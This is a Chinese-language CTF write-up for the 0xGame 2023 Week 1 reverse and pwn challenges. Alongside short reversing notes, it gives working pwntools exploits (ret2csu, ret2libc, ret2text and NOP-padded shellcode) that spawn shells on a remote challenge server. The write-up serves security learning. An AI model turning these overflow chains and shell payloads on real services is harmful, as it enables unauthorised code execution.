0xGame2023部分Reverse与Pwn

Week1

Re

数字筑基

也可以直接打开

代码金丹

还是直接打开

网络元婴

手动提一下

虚拟化神

没有输入

后半部分与文件操作有关

那就动调看v3

还有一种方法就是重启验证，下面是一般步骤

程序运行–>注册信息输入–>程序重启–>执行验证机制–>正确就显示已注册/错误则不变动

通过动调没输入，但是双击打开却要求输入得出这是重启验证

重启之前会创建config.txt

运行一次后把生成的config.txt中的0改1，再次运行就行

发现./运行和双击还是不一样

赛博天尊

一眼解方程

gpt写一下，再根据以往经验修改

from sympy import symbols, Eq, solve

# 定义变量
v4, v7, v8, v9, v10, v11 = symbols('v4 v7 v8 v9 v10 v11')

# 定义方程组
equations = [
    Eq(7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7), 0x12021DE669FC2),
    Eq(v4, v9 + v10 + 2 * v10 + 2 * (v11 + v7)),
    Eq(v8 + 2 * v4 + v4, 0x159BFFC17D045),
    Eq(v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7), 0xACE320D12501),
    Eq(v8 + 2 * (v7 + v11 + v9 + 2 * v10), 0x733FFEB3A4FA),
    Eq(v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7, 0x1935EBA54EB28)
]

# 解方程组
solutions = solve(equations)

# 转换解为16进制
for key in solutions.keys():
    solutions[key] = hex(int(solutions[key]))

# 输出16进制解
print(solutions)

输入的%16llx表示最大宽度，所以没问题

找不到的flag

假的

去隐藏文件找

ret2syscall

想直接执行syscall

且无/bin/sh，不是一般的ret2syscall

用pop|ret去搜

第一种用ret2csu打通，但较麻烦

利用csu_init后面两段

要给rbp传1

csu1表示pop rbx,csu2表示第二个函数

0x404500是虚拟地址，改成0x404600也行

把虚拟地址传给rdi，调用gets，把0x3b传给rax，rbx传0，接下来五个参数给第二段init传参，rbp传1，r12传虚拟地址后重新传给edi，0给r13再给rsi，r14同理，r15在虚拟地址＋8后读入syscall(‘/bin/sh’)

这里和32位的区别是不用int 0x80，0x3b还是传给rax，但是rsi和rdx要传0，类似32位的rcx和rdx

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./ret2syscall")
s=remote("8.130.35.16",51004)
elf=ELF("ret2syscall")
pop_rdi_ret=0x4012e3
csu1=0x4012DA
csu2=0x4012C0
rax=0x401196
syscall=0x4011AE
gets=elf.plt['gets']

s.sendlineafter(b"Input: \n",flat([
 b"a"*0x18,
 pop_rdi_ret,0x404500,
 gets,
 pop_rdi_ret,0x3b,rax,
 csu1,0,1,0x404500,0,0,0x404508,
 csu2,
]))

s.sendline(b"/bin/sh\x00"+p64(syscall))
s.interactive()

也可以用ret2libc打通

from pwn import *
#from struct import pack
from LibcSearcher import *
context(arch="amd64",os="linux",log_level="debug")
p=process('./ret2syscall')
#p=remote('8.130.35.16',51004)
elf=ELF('./ret2syscall')
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def get_addr():
	return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    #p.recvline()
    #puts_addr = u32(p.recv()[0:4])
    
#gdb.attach(p)
#base = int(p.recv(12),16) & 0xfffffffff000#开PIE求基址
ret_addr = 0x40101a
pop_rdi_ret = 0x4012e3
main_addr = 0x401223
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = b'a'*(16+8)+p64(pop_rdi_ret)+p64(puts_got) + p64(puts_plt)+p64(main_addr)
sla("Input: ",payload)
puts=get_addr()
libc = LibcSearcher('puts',puts)
base = puts - libc.dump('puts')
payload=b'a'*24+p64(ret_addr)+p64(pop_rdi_ret)+p64(base+libc.dump('str_bin_sh'))+p64(base+libc.dump('system'))
sla("Input: ",payload)
inter()

ret2text

/bin/sh传到rdi，后面执行system

from pwn import *
from struct import pack
#from LibcSearcher import *
context(arch="amd64",os="linux",log_level="debug")
#p=process('./ret2text')
p=remote('8.130.35.16',51002)
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def get_addr():
	return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    #p.recvline()
	#puts_addr = u32(p.recv()[0:4])
    
#gdb.attach(p)
#base = int(p.recv(12),16) & 0xfffffffff000#开PIE求基址
bin_add=0x401298
payload=b'a'*72+p64(bin_add)
sla("Tell me sth interesting, and I will give you what you want.",payload)
inter()

ret2shellcode

7表示可读可写可执行，0LL表示偏移量，表示在目标文件描述符中的偏移量。

观察无system，无/bin/sh

传统的攻击方法不行

起始地址随机化，关闭了标准输出（1）

所以shellcode写mmap区域末尾，前⾯填充上⼀些没用的指令，比如nop，然后把输出重定向到标准错误（2）或者标准输⼊（0）即可

我这里用的0，用2打不通远程

exec表示启动新的命令

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#p=process('./ret2shellcode')
p=remote('8.130.35.16',51003)
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def get_addr():
	return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
	
sla("code:",asm(shellcraft.sh()).rjust(0x100,b"\x90"))
sl("exec 1>&0")
inter()